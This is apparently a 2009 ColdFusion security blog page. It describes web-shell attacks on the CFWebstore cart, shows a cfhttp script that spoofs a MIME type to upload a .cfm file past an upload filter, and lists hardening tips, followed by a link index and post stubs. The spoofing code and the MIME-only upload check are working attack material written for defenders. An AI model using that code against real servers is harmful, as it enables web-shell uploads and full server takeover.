CFWebstore File Upload Vulnerability

There has been a recent outbreak of attacks on servers running the ColdFusion shopping cart CFWebstore, that is allowing the attackers to upload a ColdFusion variant of the C99 shell script.  This is giving them full access to your server and it will get compromised if they get that file up there.

Here's what they do:

1. Using the /customtags/uploadfile.cfm page, they are spoofing the MIME type to upload index.cfm and image.cfm to /images/accounts directory - these are their web shells (think of them like control panels).
2. After having these web shells uploaded, things can go one of several ways:
   1. If you have cfexecute/cfregistry disabled, they will likely just inject JavaScript into every site on your server
   2. If you have cfexecute/cfregistry enabled, they will likely attack you with wminotify, this allows them to log and send back home all passwords used to log into the server for remote administration.  At this point, you should probably plan to build a new server because this level of compromise is pretty deep and you likely won't clean it all up.
   3. If you had cfexecute/cfregistry disabled and Sandbox security on each site, then only the CFWebstore site that was attacked will be injected with JavaScript.

Last Update: 2 July 2009 12:40 PM

5 comments - Posted by Brent Frye at 6:13 PM - Categories: ColdFusion | Security

Spoofing MIME Types with ColdFusion and CFHTTP

Think your file uploads are secure? Think again. Using this very simple technique with ColdFusion installed locally, you can easily spoof the MIME type of any file and get it uploaded to another server, allowing any number of code exploits.

First, we're going to write a quick file upload script:

<cfform name='upload' action='uploadact.cfm' enctype='multipart/form-data' method='post'>
<cfinput type='file' name='FileUpload' required='yes' message='Select a file to upload.' /><br />
<cfinput type='submit' value='Upload File' name='submit' /> </cfform>

Notice this goes to an action page called uploadact.cfm which only accepts jpegs and gifs, this form actually handles the upload as follows:

<cfif isDefined('fileUpload')>
  <cffile action='upload'
     fileField='fileUpload'
     destination='C:\path\to\upload'
     accept='image/jpeg,image/gif'
     nameconflict='makeunique'>
     <p>Thankyou, your file has been uploaded.</p>
     <p><a href='/'>Return Home</a></p> </cfif>

Now for the fun part, we're going to write a page using cfhttp that would run on the attackers server/workstation that allows for files local to them to be uploaded by faking the MIME type with cfhttpparam:

<cfhttp url='http://example.com/uploadact.cfm' method='post'>
<cfhttpparam type='formfield' value='Upload File' name='submit'>
<cfhttpparam type='file' name='FileUpload' file='C:\Path\To\test.cfm' mimetype='image/jpeg'> </cfhttp>

Now with this we could upload an ASP or ColdFusion based web shell that would essentially give us unlimited access to a server.  So follow the following tips:

1. If you have an Enterprise license, use Sandbox Security.  This will limit each site to its own set of directories and data sources.
2. Disable cfexecute and cfregistry.  If you can use Sandboxes, do this for each Sandbox, or setup a global Sandbox on your main site's directory.  Remember with Sandboxes, if you absolutly need cfexecute, remember that you can setup a Sandbox for a single folder with access to it and put processing files in here (say to use FFMPEG for videos conversion).
3. Disable JSP (Adobe Instructions) if you don't actually use it.  Since the default for ColdFusion is to run as System on Windows, any JSP file that makes its way to the server will have full access, and JSP's don't follow Sandboxes, so even if they are setup they are of no use.
4. Run ColdFusion as another user (Adobe Instructions).  Obviously, running ColdFusion as a less privileged user will prevent total control of your server should something malicious get uploaded
5. Always perform multiple checks on your file uploads (Pete Freitag has a good article on this)

0 comments - Posted by Brent Frye at 6:58 PM - Categories: ColdFusion | Security

Jason Dean's Security Series

Jason over at 12Robots.com has been writing a really great series of articles about secure application development for quite some time.  Since I haven't seen them all in one index, I threw up links to all the articles on this page.

• I'm starting a new series on Secure Application Development with ColdFusion
• Multiple Datasource - Security Series #1
• Securing Custom Tags and Include files - Security Series #2
• Password Security Intro - Security Series #3
• The Basics of Password Security - Security Series #4
  • A Simple Password Strength Function - Security Series #4.1
  • Password Security with Hashing Functions - Security Series #4.2
    • More on Hashing Functions - Security Series #4.2.1
  • Salting Passwords - Security Series #4.3
  • Salting and Hashing Code Example - Security Series #4.4
  • User Login with Salted and Hashed passwords - Security Series #4.5
  • Password Security in ColdFusion Wrap up - Security Series # 4.6
    
• Verbose Error Messages - Security Series #5
• Session Security in ColdFusion - Sub-series Intro - Security Series #6
  • Session Tokens in ColdFusion - Security Series #6.1 part 1
  • Session Tokens in ColdFusion - Security Series #6.1 part 2
  • Session Token Cookies, should we force them on our users - Security Series #6.2
  • How Session Tokens are Compromised and ColdFusion Session Security Wrap Up - Security Series #6.3
  • New Session on Login - Security Series #12.3.1 and #6.4.1
    
• Access Control Intro - Security Series #7
  • More on Access Control - Security Series #7.1
  • Access Control in ColdFusion - The Basics (part 1) - Security Series #7.2
  • Access Control in ColdFusion - The Basics (part 2) - Security Series #7.2
  • Controlling Access to Config Files, Custom Tags, and other files - Security Series #7.3
• Persistent XSS Attacks and Countermeausures in ColdFusion - Security Series #8
• Request Forgeries and ColdFusion - Security Series #9
  • Enhancing Request Forgery Protection - Security Series #9.1
    
• Enhancing ColdFusion Script Protection - Security Series #10
• Spoofing CGI Variables - Security Series #11
• mmmmMMmmmmmmm Cookies - Security Series #12
  • mmmmMMmmmmmmm Cookies (part 2) - Security Series #12.1
  • More Cookies - Domain and Path Attributes - Security Series #12.2
  • New Session on Login - Security Series #12.3.1 and #6.4.1

I'm pretty sure I got them all from Jason's site, but if I did just let me know in a comment.

0 comments - Posted by Brent Frye at 9:07 PM - Categories: Series | ColdFusion | Security

ColdFusion Stops Serving After a Few Requests

0 comments - Posted by Brent Frye at 9:21 PM - Categories: ColdFusion | Server Administration |

cfimage CAPTCHA Timer already cancelled

0 comments - Posted by Brent Frye at 3:25 PM - Categories: ColdFusion |

ColdFusion Verity - Unable to create temporary file

0 comments - Posted by Brent Frye at 1:26 PM - Categories: Verity | ColdFusion |

cfimage CAPTCHA Not Displaying

0 comments - Posted by Brent Frye at 9:55 PM - Categories: ColdFusion | Server Administration |